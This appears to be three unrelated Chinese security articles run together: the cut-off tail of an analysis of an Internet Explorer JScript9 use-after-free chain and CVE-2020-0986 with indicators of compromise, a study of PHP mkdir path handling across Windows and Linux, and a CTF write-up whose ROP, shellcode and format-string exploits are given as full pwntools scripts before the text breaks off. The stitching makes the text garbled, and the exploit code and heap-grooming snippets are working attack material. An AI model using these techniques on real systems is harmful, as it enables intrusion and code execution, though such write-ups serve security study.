O2`。除此之外，如果参数`F`等于1，则会再次重新分配`O`，但这次会分配整数2。这意味着，根据参数`F`的值，`O`参数会等于`O2`参数的值或是整数2。参数`A`是32位浮点型数组，在将值分配给数组的索引5之前，会将值首先转换为浮点数。将整数转换为浮点数的过程比较简单，但是如果要将对象转换为浮点数，这个过程就不再那么简单了。该漏洞利用使用了重载方法`valueOf()`中的`abp`对象。当对象转换为浮点型时执行此方法，但是在其内部，包含释放ArrayBuffer的代码，该代码由Float32Array查看，并在其中设置返回值。为了防止将值存储在已释放对象的内存中，JavaScript引擎需要首先检查对象的状态，然后再将值存储在对象中。为了安全地转换和存储浮点值，`JScript9.dll`使用函数`Js::TypedArray<float,0>::BaseTypedDirectSetItem()`。下面是这个函数的反编译代码：
int Js::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0> *this, unsigned int index, void *object, int reserved)
{
Js::JavascriptConversion::ToNumber(object, this->type->library->context);
if ( LOBYTE(this->view[0]->unusable) )
Js::JavascriptError::ThrowTypeError(this->type->library->context, 0x800A15E4, 0);
if ( index < this->count )
{
*(float *)&this->buffer[4 * index] = Js::JavascriptConversion::ToNumber(
object,
this->type->library->context);
}
return 1;
}
double Js::JavascriptConversion::ToNumber(void *object, struct Js::ScriptContext *context)
{
if ( (unsigned char)object & 1 )
return (double)((int)object >> 1);
if ( *(void **)object == VirtualTableInfo<Js::JavascriptNumber>::Address[0] )
return *((double *)object + 1);
return Js::JavascriptConversion::ToNumber_Full(object, context);
}
该函数检查浮点型数组的`view[0]->unusable`和`count`字段。在执行`valueOf()`方法的过程中，当`ArrayBuffer`被释放时，这两项检查都将失败，因为此时`view[0]->unusable`为1，并且在第一次调用`Js::JavascriptConversion::ToNumber()`时`count`为0。问题在于，`Js::TypedArray<float,0>::BaseTypedDirectSetItem()`函数仅在解释模式下使用。
当函数`func()`被即时编译时，JavaScript引擎将会使用以下存在漏洞的代码：
if ( !((unsigned char)floatArray & 1) && *(void *)floatArray == &Js::TypedArray<float,0>::vftable )
{
if ( floatArray->count > index )
{
buffer = floatArray->buffer + 4*index;
if ( object & 1 )
{
*(float *)buffer = (double)(object >> 1);
}
else
{
if ( *(void *)object != &Js::JavascriptNumber::vftable )
{
Js::JavascriptConversion::ToFloat_Helper(object, (float *)buffer, context);
}
else
{
*(float *)buffer = *(double *)(object->value);
}
}
}
}
这是`Js::JavascriptConversion::ToFloat_Helper()`函数的代码：
void Js::JavascriptConversion::ToFloat_Helper(void *object, float *buffer, struct Js::ScriptContext *context)
{
*buffer = Js::JavascriptConversion::ToNumber_Full(object, context);
}
如我们所见，与解释模式不同，在即时编译的代码中，不会检查`ArrayBuffer`的生命周期，并且可以释放它的内存，然后在调用`valueOf()`函数时将其回收。此外，攻击者可以控制将返回值写入到哪个索引中。但是，在`arguments.length
= 0;`和`arguments.push(O2);`的情况下，PoC会将其替换为`arguments[0] =
O2;`，所以`Js::JavascriptConversion::ToFloat_Helper()`就不会触发这个Bug，因为隐式调用将被禁用，并且不会执行对valueOf()函数的调用。
为了确保及时编译函数`func()`，漏洞利用程序会执行该函数0x10000次，对整数进行无害的转换，并且只有在再次执行`func()`之后，才会触发Bug。为了释放`ArrayBuffer`，漏洞利用使用了一种滥用Web
Workers
API的通用技术。`postMessage()`函数可以用于将对象序列化为消息，并将其发送给worker。但是，这里的一个副作用是，已传输的对象会被释放，并且在当前脚本上下文中变为不可用。在释放`ArrayBuffer`后，漏洞利用程序通过模拟Sleep()函数使用的代码触发垃圾回收机制。这是一个while循环，用于检查`Date.now()`与先前存储的值之间的时间间隔。完成后，漏洞利用会使用整数数组回收内存。
for (var i = 0; i < T.length; i += 1) {
T[i] = new Array((0x1000 - 0x20) / 4);
T[i][0] = 0x666; // item needs to be set to allocate LargeHeapBucket
}
在创建大量数组后，Internet
Explorer会分配新的`LargeHeapBlock`对象，这些对象会被IE的自定义堆实现使用。`LargeHeapBlock`对象将存储缓冲区地址，讲这些地址分配给数组。如果成功实现了预期的内存布局，则该漏洞将使用0覆盖`LargeHeapBlock`偏移量`0x14`处的值，该值恰好是分配的块数。
`jscript9.dll` x86的LargeHeapBlock结构：
此后，漏洞利用会分配大量的数组，并将它们设置为在漏洞利用初始阶段准备好的另一个数组。然后，将该数组设置为null，漏洞利用程序调用`CollectGarbage()`函数。这将导致堆碎片整理，修改后的`LargeHeapBlock`及其相关的数组缓冲区将被释放。在这个阶段，漏洞利用会创建大量的整数数组，以回收此前释放的数组缓冲区。新创建的数组的魔术值设置为索引0，该值通过指向先前释放的数组的悬空指针以进行检查，从而确认漏洞利用是否成功。
for (var i = 0; i < K.length; i += 1) {
K[i] = new Array((0x1000 - 0x20) / 4);
K[i][0] = 0x888; // store magic
}
for (var i = 0; i < T.length; i += 1) {
if (T[i][0] == 0x888) { // find array accessible through dangling pointer
R = T[i];
break;
}
}
最后，漏洞利用创建了两个不同的`JavascriptNativeIntArray`对象，它们的缓冲区指向相同的位置。这样，就可以检索对象的地址，甚至可以创建新的格式错误的对象。该漏洞利用使用这些原语来创建格式错误的`DataView`对象，并获得对该进程整个地址空间的读/写访问权限。
在构建了任意的读/写原语之后，就可以绕过控制流防护（CFG）并执行代码了。该漏洞利用使用数组的`vftable`指针获取`jscript9.dll`的模块基址。从这里，它解析`jscript9.dll`的PT头，以获得导入目录表的地址，并解析其他模块的基址。这里的目标是找到函数`VirtualProtect()`的基址，该地址将用于执行Shellcode的过程。之后，漏洞利用程序在`jscript9.dll`中搜索两个签名。这些签名对应Unicode字符串`split`和`JsUtil::DoublyLinkedListElement<ThreadContext>::LinkToBeginning<ThreadContext>()`函数地址。Unicode字符串`split`的地址用于获取对该字符串的代码引用，并借助它来帮助解析函数`Js::JavascriptString::EntrySplit()`的地址，该函数实现了字符串方法`split()`。函数`LinkToBeginning<ThreadContext>()`的地址用于获取全局链表中第一个`ThreadContext`对象的地址。这个漏洞利用程序会在链表中找到最后一个条目，并利用它为负责执行脚本的线程获取堆栈位置。然后，就到了最后一个阶段。漏洞利用程序执行`split()`方法，并提供一个具有重载`valueOf()`方法的对象作为限制参数。在执行`Js::JavascriptString::EntrySplit()`函数的过程中，执行重载的`valueOf()`方法时，漏洞利用程序将搜索线程的堆栈以查找返回地址，将Shellcode放置在准备好的缓冲区中，获取其地址。最后，通过覆盖函数的返回地址，构建一个面向返回的编程（ROP）链以执行Shellcode。
## 0x02 下一阶段
Shellcode是附加到Shellcode上的可移植可执行（PE）模块的反射DLL加载器。这个模块非常小，全部功能都位于单个函数内。它在名为`ok.exe`的临时文件夹中创建一个文件，将远程执行代码中利用的另一个可执行文件的内容写入到其中。之后，执行`ok.exe`。
`ok.exe`可执行文件包含针对GDI Print / Print Spooler
API中的任意指针解引用特权提升漏洞（CVE-2020-0986）。该漏洞最初是一位匿名用户通过Trend Micro的Zero Day
Initiative计划向Microsoft报告的。由于该漏洞在报告后的6个月内未发布补丁，因此ZDI将这一0-day漏洞进行披露，披露日期为2020年5月19日。第二天，这一漏洞就已经在先前提到的攻击中被利用。
利用这一漏洞，可以使用进程间通信来读取和写入`splwow64.exe`进程的任意内存，并绕过CFG和EncodePointer保护，从而实现`splwow64.exe`中的代码执行。该漏洞利用程序的资源中嵌入了两个可执行文件。第一个可执行文件以`CreateDC.exe`的形式写入磁盘，并用于创建设备上下文（DC），这是漏洞利用所必需的。第二个可执行文件的名称为`PoPc.dll`，如果利用成功，会由具有中等完整性级别的`splwow64.dll`执行。我们将在后续文章中提供有关CVE-2020-0986及其漏洞利用的更多信息。
从`splwow64.exe`执行恶意PowerShell命令：
`PoPc.dll`的主要功能也位于单个函数之中。它执行一个编码后的PowerShell命令，该命令用于从`www[.]static-cdn1[.]com/update.zip`下载文件，将其保存为临时文件`upgrader.exe`并执行。由于卡巴斯基已经在下载可执行文件前阻止了攻击，因此我们未能拿到upgrader.exe，无法对其进行进一步分析。
## 0x03 威胁指标
www[.]static-cdn1[.]com/update.zip
B06F1F2D3C016D13307BC7CE47C90594
D02632CFFC18194107CC5BF76AECA7E87E9082FED64A535722AD4502A4D51199
5877EAECA1FE8A3A15D6C8C5D7FA240B
7577E42177ED7FC811DE4BC854EC226EB037F797C3B114E163940A86FD8B078B
B72731B699922608FF3844CCC8FC36B4
7765F836D2D049127A25376165B1AC43CD109D8B9D8C5396B8DA91ADC61ECCB1
E01254D7AF1D044E555032E1F78FF38F
81D07CAE45CAF27CBB9A1717B08B3AB358B647397F08A6F9C7652D00DBF2AE24
原文链接： | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/NRNnhmtOVuIKxfKar5ydXw>**
## 一、起因
在复现分析Wordpress-5.0.0 RCE 的时候，因为在写图片的过程中，根据图片的 **dirname** 创建目录，而后根据
**basename**
写入图片。在目录创建成功的前提下，应该是可以写入文件的。但是情况却不是如此，过程中我要在写目标图片前，必须还要再写一个辅助图片。其实这个辅助图片不是很重要，而重要的是这个辅助图片的目录创建。
过程中例如需要写入目标文件为：
首先需要先写一张
为什么会这样？假设直接写目标文件，过程中会首先创建目录：
其实这个过程是没有创建任何目录的，因为判断是 _directory already_
,到下一步写入图片这里是`Imagick::writeImage`，在这里就会出问题。 _invaild file path_.报错。因为这里不存在
`/var/www/html/wordpress/wp-content/uploads/2019/03/1.jpg?`这个目录，这涉及到系统调用，因系统的不同相对于的系统处理函数处理的方式也不同。
例如在kali 下 `Imagick::writeImage`写入 `./1?/../1.png` , `./1?` 这个目录是会报错的。具体系统调用如下
首先判断了这个文件的状态，而后调用`openat` 打开这个文件并不存在。`AT_FDCWD`表示打开的文件位置相对于当前目录。这是我在做的时候遇到的情况。
但是在 [WORDPRESS IMAGE 远程代码执行漏洞分析](https://kylingit.com/blog/wordpress-image-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)一文中，甚至其他另一篇。都没提到两次写图片。难道因为window和linux的不同吗？就这个问题我进行了一次对mkdir的探究。发现其实有很有趣。
## 二、PHP内核 && 系统差异 之mkdir()
### 2.1 Linux && PHP 7.3.2-3
mkdir(‘./1?/../1′,777,true)；
mkdir(‘./1？/../1′,777，false)；
当第三参数为`$recursive`为`true`
时可以写目录，先说一下这个参数的含义`$recursive`用来循环创建目录。什么意思呢，当`false`时只能创建1级目录，即目录连接符最后的一个目录。而当`true`时是可以创建多级目录至到最后一个目录。列如`./a/b/c`当abc都不存在时，会通过系统函数`mkdir`循环创建目录，abc都会被创建，但若为`false`会因为走到a处目录不存在，则不回去创建最后一个c。
但是第一个`mkdir`即使为`true`却也没有创建`1?`目录 ,这里我们从php内部`mkdir`执行情况 和 系统 `mkdir` 执行情况来探究。
#### 2.1.1 PHP_FUNTCION(mkdir)
PHP内调过程如下图：
我们在出现分支的地方细分`/php-src/main/streams/plain_wrapper.c`
##### 2.1.1.1 $recursive = fasle
其中出现的分支的地方在判断`$recursive` 若是不需要循环创建则直接进入`php_mkdir`
/php-src/ext/standard/file.c
跟进`php_mkdir_ex`
首先会检查`open_basedir`,接着会进入`VCWD_MKDIR`,`VCWD_MKDIR`是个宏命令，有三种不同定义：
在这里我刚开始并没有考虑太多，跟着gdb的流程走，直接执行`mkdir()`，会直接调用系统的`_mkdir().mkdir(“./1?/../1″,
01411) = -1 ENOENT (No such file or directory)`
会直接报错。在预料之类，linux系统下mkdir是不允许这样创建目录的，会效验每一层目录的有效性。回到第一次出现分叉的时候。
##### 2.1.1.2 $recursive = true
这里会进入`expand_filepath_with_mode`,这里其实很熟悉，之前也是在看路径处理的时候看到过这个函数，它是一个展开函数，会通过递归的方式展开需要被创建的目录。在其过程会先把相对目录和当前脚本执行目录评价起来,若是绝对目录则忽略.
其中我们的相对目录为 `./1?/../1`会变成`/var/www/html/WordPress/wp-content/themes/4/5/6/./1?/../1`当前我所在的目录为`/var/www/html/WordPress/wp-content/themes/4/5/6`然后通过递归的方式 去掉 `../`, `./`
,`//`.并且对应目录前移，会变成`/var/www/html/WordPress/wp-content/themes/4/5/6/1`然后在传递给系统的mkdir函数。在这个函数里面存在win32 和
linux的不同分支，但在具体处理之前win32判断了目录名不能存在 `*`，`？`
注意一下此处！
附上strace ，也是验证上诉分析过程：`mkdir(“/var/www/html/WordPress/wp-content/themes/4/5/6/1″, 01411) = 0`
#### 2.1.2 MKDIR IN LINUX
在linux中单纯的mkdir是会层层验证目录，而后在创建一级目录。mkdir 也可以带参 -p，代表系统层面循环的创建目录。
当执行mkdir -p 时 ：
1. strace -f -e trace=mkdir mkdir -p ./1?/../1
2. mkdir(“1?”, 0777) = 0
3. mkdir(“1″, 0777) = 0
我们能看到它并不像php内部那样，展开而后处理 。它会层层按照输入的目录创建。
### 2.2 window && PHP 7.0.12
这里是我为什么要探究的一个重要问题点所在，在前面我提到的那篇文章中作者在window下实验当`$recursive`为`false`才能创建成功，正好是反着的。作者的解释的`false`的时候不会去层层判断，但是真的是这样吗？
而后我也做了一个验证性的实验，在 **window** 上用 **php 5.6** 做了这个测试，但是结果让我疑惑了，无论在`false`还是
`true`的情况都不会创建目录.而且报错也很有意思，在`false`的情况下报错 _no error_ 但是就是无法创建。在`true`的情况下报错
_invaild path_ 。
难道是php-cli 问题？我又用cgi测了一遍，发现同样是这样。有意思，而后我通过邮件联系了那篇文章作者，询问其版本号。很快，得到了他的答复，
**php-7.0.12** 。
于是下载php-7.0.12源码 重新编译加debug，此处省略1000字…
在编译完成后我迫不及待的试了一下，同样如此和我的php5.6 一摸一样，无论在cli 模式 或者 cgi
模式下都是无法复现作者文中的情况。这到底问题出在哪呢？
先调了再说，VS调试php
网上基本上没有详细的介绍，有的都是Vscode。我不知道如何启动并调试，只好想了个attach的办法。在`mkdir`前面写上`sleep(10)`,但是这样做，其实是有一点鸡肋的，php内核初始化过程你其实抓不到的，但是用在这里够了，还是在`php_plain_files_mkdir`这个地方下断，刷新页面，attach到启动的php-cgi 上。
#### 2.2.1 PHP_FUNCTION(MKDIR)
##### 2.2.1.1 $recursive == false
还是先分析`false`的情况，前面都一样，不同的是在`php_mkdir_ex`中`VCWD_MKDIR`调用的函数不一样
这次走到不一样的调用上
跟进`virtual_mkdir`
同样调用了`virtual_file_ex()`,前面有一点没提到，在 **expand**
展开路径的过程中最后其实也是进入的这个函数，前面说过在处理的过程中若是win32的情况会判断路径存不存在 `*`,
`?`.若是存在则会直接返回1，不会进入后面写路径。为什么那篇文章的作者会在false的情况下写成功呢？
##### 2.2.1.1 $recursive == true
这里前面说过这里会进行expand过程，但是同样会判断路径名中存不存在`*`, `?`,会报错 Invaild Path。
#### 2.2.2 MKDIR IN WINDOW
这里因为没有都没有执行到写目录。此处我们还无法探究window系统mkdir 函数是如何执行的。
## 三、线程安全与非线程安全
重新梳理一下，现在是三种不一样的情况：
linux /true 可写
window/7.0.12 ：
1. false 可写
2. true/false 都不可写
window 出现了两种情况。仔细在走一遍window/false的情况，现在我唯一没有考虑到是`VCWD_MKDIR`
选择情况。前面都是跟着调试流程走的，这是唯一可能出现分叉的地方，重新看一下它的两种种宏定义：
若非那片文章作者，是走的第二个define，于是我把第一个define先注释掉了，换上了第二个define，再重新编译一边，结果竟然出现了和那篇作者一样的情况。但是这里有一个小小不同，写入的目录是相对于php-cgi.exe解释器的，不是相对于WWW的网站根目录下的，当你看了下面的分析以后，应该会给你一个答案，那么很显然问题现在出现在 `VIRTUAL_DIR`
定义的情况，在它没有定义的情况下，才会走到第二个define，我看看`VIRTUAL_DIR`是在哪被定义的`/php-src/Zend/zend_virtual_cwd.h`
熟悉php内核的朋友不会陌生ZTS，这是php
线程安全的标志。用来应对那些使用线程来处理并发请求的Web服务器，列如window下的IIS，worker_mpm模式下的apahce，生活在线程里面的php需要考虑线程间的读写同时也要保证线程间是安全，所以php需要自己提供ZTS层来管理线程间的操作。当定义了ZTS时候，就也同时定义了虚拟目录(VIRTUAL_DIR)。
为什么会存在虚拟目录这一说法呢，其实很简单你通过对应`virtual_file_ex()`可以看出来，这个函数的目的在于针对相对路径替换出完整的绝对路径。举很简单的例子，php脚本中写的相对路径，其相对路径一定是针对于该脚本的。在执行脚本的过程中，会进入相应的php
内核里面的`php_execute_script()`,其中有一步是`VCWD_CHDIR_FILE(filename)`,这是用来根据要执行的脚本位置去切换当前目录，同样这个宏定义有两个不同的函数，一个是在虚拟目录下切换目录，一个是非线程安全环境下单线程切换目录，不同是在线程安全下切换目录，并不是直接调用系统的`_chdir()`,而是将执行脚本的目录存储在`TSRMG`中，并给定一个`cwd_globals_id`，要用的时候再去取，比如创建目录，写文件。因为在
**多线程** 环境不能直接修改当前 **进程** 的目录，只能预定义一个变量保存各线程的当前目录。
可以看到在线程安全的模式下，若是给的相对路径，都会出现当前目录和相对目录的拼接。且都在win32的环境都会检测目录是否包含`*` ,`?`.
## 四、结论汇总
我有注意到那篇的文章作者是在window 上用的phpstudy，我也去看了一下phpstudy的是否有7.0.12的版本，存在一个
`php-7.0.12-nts+Apache` 确实也是非线程安全。也印证上面我修改php 7.0.12
重新编译的结果，但是一个很有趣的东西是,window的系统调用API `_mkdir()`
是存在和php内部一样的路径展开功能，即他是允许这样写的`./1?/../1`
可以在当前目录下写入文件夹`1`的，这和linux不一样，linux的系统函数是逐层判断。在php7.1之后，改变了系统创建目录的API，从`_mkdir`
变成了`CreateDirectoryW`，但是不变的是还是可以存在路径展开的功能。即便你这样写：`@@#@$@#$^%$&&**/@!#@!$!%/../../evil`也是可以创建目录`evil`的，可以算是一个小技巧。
但是条件是在 **window** 下 **php** 为 **非线程安全**
模式和`**PHP_FUNCTION(mkdir)**`第三个参数为`false`的情况下是可以这样写目录的。可以算是一个小tips吧。结合相应的应用特点，是可以用到的，而且php版本一般都是非线程安全的，在nginx下都是多进程处理php，即非线程安全。apache只有在worker_mpm才是多线程的，一般也不常用。一般都是`prefork_mpm
+ php_mod`，即便是fastcgi也是多进程。利用环境还是比较常见的。
* * * | 社区文章 |
发现一个的台湾的ctf平台，感觉学到了挺多东西：[hackme.inndy](https://hackme.inndy.tw/scoreboard/)，各种题型都有，题目总体难度不会很大比较新颖骚操作多，还是很适合通过做这些题目提升姿势水平
前面的几道简单漏洞的题目基本上直接放exp，重头戏后面的题目
由于题目太多了，就分两篇来写
# catflag
nc 连接上去，一个cat flag命令就出来了
# homework
这是一道数组下标溢出的题目，仅仅通过计算就可以知道ret的位置在arr[14]的地方
直接简单地绕开了cannry保护
#!python
#coding:utf-8
from pwn import *
#p=process('./homework')
p=remote('hackme.inndy.tw', 7701)
binsh = 0x080485fb
print str(binsh)
p.recvuntil("What's your name? ")
p.sendline("your_dad")
p.recvuntil("4 > dump all numbers\n")
p.recvuntil(" > ")
p.sendline("1")
p.recvuntil("Index to edit: ")
p.sendline("14")
p.recvuntil("How many? ")
p.sendline(str(binsh))
p.sendline("0")
p.interactive()
# ROP
这道题是简单的栈溢出+rop，可以有多种解法，我这里就使用system call的方法
我们可以查到execve的系统调用号为0x0b，而在系统调用时，eax是存放系统调用号，ebx,ecx,edx分别存放前3个参数，esi存放第4个参数，edi存放第5个参数，而Linux系统调用最多支持5个单独参数。如果实际参数超过5个，那么使用一个参数数组，并且将该数组的地址存放在ebx中。
0x080b8016 : pop eax ; ret
0x0806ed00 : pop edx ; pop ecx ; pop ebx ; ret
0x0806c943 : int 0x80
0x080de769 : pop ecx ; ret
0x0804b5ba : pop dword ptr [ecx] ; ret
exp:
#!python
#coding:utf-8
from pwn import *
#p=process('./rop')
elf = ELF("./rop")
p=remote('hackme.inndy.tw', 7704)
bss = elf.bss()#0x80eaf80
pop_eax_ret = 0x080b8016
pop_edx_ecx_ebx_ret = 0x0806ed00
int_0x80 = 0x0806c943
pop_ecx = 0x080de769
pop_write2ecx = 0x0804b5ba
payload = 'a' * (0x0c+0x04)
payload += p32(pop_ecx) + p32(bss)
payload += p32(pop_write2ecx) + '/bin'
payload += p32(pop_ecx) + p32(bss+4)
payload += p32(pop_write2ecx) + '/sh\x00'
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x00) + p32(0x00) + p32(bss)
payload +=p32(int_0x80)
p.sendline(payload)
p.interactive()
# ROP2
#!python
#coding:utf-8
from pwn import *
#p=process('./rop2')
elf = ELF("./rop2")
context.log_level="debug"
p=remote('hackme.inndy.tw', 7703)
syscall = elf.symbols['syscall']
overflow = elf.symbols['overflow']
bss = elf.bss()
print hex(syscall)
print hex(overflow)
print hex(bss)
p.recv()
payload = 'a'*(0x0c+0x04)
payload += p32(syscall)+p32(overflow)+p32(3)+p32(0)+p32(bss)+p32(8)
p.sendline(payload)
p.send("/bin/sh\x00")#这个地方很坑，一定要用send才行，用sendline就不行
payload1 = 'a'*(0x0c+0x04)
payload1 +=p32(syscall)+p32(0xdeadbeef)+p32(0xb)+p32(bss)+p32(0)+p32(0)
p.sendline(payload1)
p.interactive()
# toooomuch
#!python
#coding:utf-8
from pwn import *
#p=process('./rop')
elf = ELF("./toooomuch")
p=remote('hackme.inndy.tw', 7702)
flag = 0x0804863b
payload = 'a'*(0x18+0x04)
payload += p32(flag)
p.recvuntil("Give me your passcode: ")
p.sendline(payload)
p.recv()
p.interactive()
# toooomuch-2
先通过溢出调用一次gets函数将shellcode写入bss段中，接着程序流程再指向bss执行shellcode。从而getshell
#!python
#coding:utf-8
from pwn import *
#p=process('./rop')
elf = ELF("./toooomuch2")
p=remote('hackme.inndy.tw', 7702)
gets = elf.symbols['gets']
bss = elf.bss()
payload = 'a'*28
payload += p32(gets)+p32(bss)+p32(bss)
p.recvuntil("Give me your passcode: ")
p.sendline(payload)
p.sendline(asm(shellcraft.sh()))
p.interactive()
# smashthestack
这题利用的ssp报错的方法泄漏出flag，在ctf-wiki中有介绍：[传送门](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop/#stack-smash)
#! /usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
#p=process('./smash')
p=remote('hackme.inndy.tw', 7717)
argv_addr=0xffffcfa4
buf_addr=0xffffcee8
flag_addr=0x804a060
payload = 'a'*(argv_addr-buf_addr) +p32(flag_addr)
p.recvuntil('the flag')
p.sendline(payload)
p.interactive()
# echo
这是一道基础的格式化字符串漏洞的题目，就不多描述了，漏洞点简单易找易利用
#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")
ip ="hackme.inndy.tw"
if ip:
p = remote(ip,7711)
else:
p = process("./echo")#, aslr=0
elf = ELF("./echo")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#------------------------------------- def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
system_plt = elf.plt["system"]
printf_got = elf.got["printf"]
payload = fmtstr_payload(7,{printf_got:system_plt})
sl(payload)
sleep(1)
sl("/bin/sh")
getshell()
直接改了printf的got表为system函数的plt表，接着输入参数/bin/sh，即可getshell
# echo2
这题是64位下的格式化字符串漏洞，漏洞点跟上一题差不多
但是有很多小的坑点，需要注意一下
1. 64位的程序函数地址存在'\x00'截断，所以要将函数地址放到最后（不能用fmtstr_payload这个工具，它只适合用于32位）
2. 控制好函数地址的相对偏移，
3. PIE：
是位置无关的可执行程序，用于生成位置无关的可执行程序，所谓位置无关的可执行程序，指的是，可执行程序的代码指令集可以被加载到任意位置，进程通过相对地址获取指令操作和数据，如果不是位置无关的可执行程序，则该可执行程序的代码指令集必须放到特定的位置才可运行进程。
但是低两位字节是固定的，可以通过这个泄露出程序基地址
通过gdb的调试，可以发现main+74的地址可以泄漏出程序的基地址，因为就算是开了PIE，后三位也是不变的，在IDA中也可以看到的确存在a03这个地址，因此`0x555555554a03-0xa03`就是程序的基地址，之后对地址的一切操作都要先加上这个elf_base才能得出正确的地址
而这个地方的格式化字符串的偏移是41，可通过%p泄漏出来
其次，也可以发现stack中有`__libc_start_main+240`的地址，也同样可以通过这种方式泄漏出libc，但这里有个比较迷的地方是，不能用libc-database来泄漏出libc的版本，搜出来的结果是错误的，只有通过下载hackme上面的libc，然后用onegadget得出地址
这个地方的格式化字符串的偏移是43，可通过%p泄漏出来
在进行任意地址写的操作的时候，要注意每次写双字节，写三次
exp如下：
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip ="hackme.inndy.tw"
if ip:
p = remote(ip,7712)
else:
p = process("./echo2")#, aslr=0
elf = ELF("./echo2")
libc = ELF("./libc-2.23.so.x86_64")#hackme网站下载
#libc = elf.libc
#------------------------------------- def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#------------------------------------- sl("%43$p")
start =int(p.recvline(),16)-240
libc_base = start -libc.symbols["__libc_start_main"]
sl("%41$p")
elf_base =int(p.recvline(),16)-0xa03
print "elf_base---->"+hex(elf_base)
one_gadget = 0xf0897+libc_base
exit_got = elf.got["exit"]+elf_base
printf_got = elf.got["printf"]+elf_base
system = libc.symbols["system"]+libc_base
print "start-->"+hex(start)
print "printf_got-->"+hex(printf_got)
print "exit_plt-->"+hex(exit_got)
print "libc_base-->"+hex(libc_base)
print "one_gadget-->"+hex(one_gadget)
hex_one_gadget = hex(one_gadget)
paylaod1="a"*19+"%"+str(int(hex_one_gadget[-4:],16)-19)+"c"+"%10$hn"+p64(exit_got)
paylaod2="a"*19+"%"+str(int(hex_one_gadget[-8:-4],16)-19)+"c"+"%10$hn"+p64(exit_got+2)
paylaod3="a"*19+"%"+str(int(hex_one_gadget[-12:-8],16)-19)+"c"+"%10$hn"+p64(exit_got+4)
sl(paylaod1)
sleep(1)
sl(paylaod2)
sleep(1)
sl(paylaod3)
sleep(1)
sl("exit")
getshell()
# echo3
这题又更骚一层楼，
从IDA中可以看到，这题的格式化字符串是在bss段里面的，这样一来就不好操作了，于是我们就需要在栈里面找到指向栈的指针，来进行写入的操作
我们知道%x$n的作用是，向第x个参数的位置写入内容，如果这个位置上的又是一个指针的话，则向这个指针所指的地方写入内容，这种用法参考hitcon-training的lab9那题
然而这题，最坑的地方是在这个alloca函数，`v3 = alloca(16 * (((buf & 0x3039u) + 30) /
0x10));`在调用hardfmt函数之前，这句会造成栈的分布会很随机很蛇皮
来看一下这地方的汇编代码：
这里的sub语句，会造成栈向下长，而且很随机，这样我们就无从所知栈的分布是怎么样的，如果此时在printf函数调用之前，下个断点，在gdb中看栈的分布，是这样的：
gef➤ stack 100
0000| 0xffffadbc --> 0x804864b (<hardfmt+133>: add esp,0x10)
0004| 0xffffadc0 --> 0x804a080 ("aaaa\n")
0008| 0xffffadc4 --> 0x804a080 ("aaaa\n")
0012| 0xffffadc8 --> 0x1000
0016| 0xffffadcc --> 0x0
0020| 0xffffadd0 --> 0xf2beb39d
0024| 0xffffadd4 --> 0x0
0028| 0xffffadd8 --> 0x0
0032| 0xffffaddc --> 0x0
0036| 0xffffade0 --> 0x0
0040| 0xffffade4 --> 0x0
0044| 0xffffade8 --> 0x0
0048| 0xffffadec --> 0x80485d2 (<hardfmt+12>: add ebx,0x1a2e)
0052| 0xffffadf0 --> 0x0
0056| 0xffffadf4 --> 0x0
0060| 0xffffadf8 --> 0xffffadd0 --> 0xf2beb39d
0064| 0xffffadfc --> 0x39d9b700
0068| 0xffffae00 --> 0x0
0072| 0xffffae04 --> 0x804a000 --> 0x8049f10 --> 0x1
0076| 0xffffae08 --> 0xffffce98 --> 0x0
0080| 0xffffae0c --> 0x804877b (<main+236>: mov eax,0x0)
0084| 0xffffae10 --> 0x0
0088| 0xffffae14 --> 0x0
0092| 0xffffae18 --> 0x0
0096| 0xffffae1c --> 0x0
0100| 0xffffae20 --> 0x0
0104| 0xffffae24 --> 0x0
0108| 0xffffae28 --> 0x0
0112| 0xffffae2c --> 0x0
0116| 0xffffae30 --> 0x0
0120| 0xffffae34 --> 0x0
0124| 0xffffae38 --> 0x0
0128| 0xffffae3c --> 0x0
0132| 0xffffae40 --> 0x0
0136| 0xffffae44 --> 0x0
0140| 0xffffae48 --> 0x0
0144| 0xffffae4c --> 0x0
0148| 0xffffae50 --> 0x0
0152| 0xffffae54 --> 0x0
0156| 0xffffae58 --> 0x0
0160| 0xffffae5c --> 0x0
0164| 0xffffae60 --> 0x0
0168| 0xffffae64 --> 0x0
0172| 0xffffae68 --> 0x0
0176| 0xffffae6c --> 0x0
0180| 0xffffae70 --> 0x0
0184| 0xffffae74 --> 0x0
是不是很蛇皮，看到的根本不是很正常的栈结构，栈的底部全部都是0 ，本来应该有main函数的返回地址，和程序最开始环境变量
`v3 = alloca(16 * (((buf & 0x3039u) + 30) / 0x10));`
这一句造成了上面那种蛇皮栈的情况，通过测试，我们可以发现：
import random
for x in xrange(1,50):
buf= random.randint(0,0xffffffff)
a=16 * (((buf & 0x3039) + 30) / 0x10)
print "aaaaaa-->"+hex(a)
'''
输出：
aaaaaa-->0x3040
aaaaaa-->0x2030
aaaaaa-->0x3040
aaaaaa-->0x40
aaaaaa-->0x2020
aaaaaa-->0x2040
aaaaaa-->0x40
aaaaaa-->0x30
aaaaaa-->0x3030
aaaaaa-->0x1010
aaaaaa-->0x3040
aaaaaa-->0x1030
aaaaaa-->0x2040
aaaaaa-->0x1020
aaaaaa-->0x2030
aaaaaa-->0x50
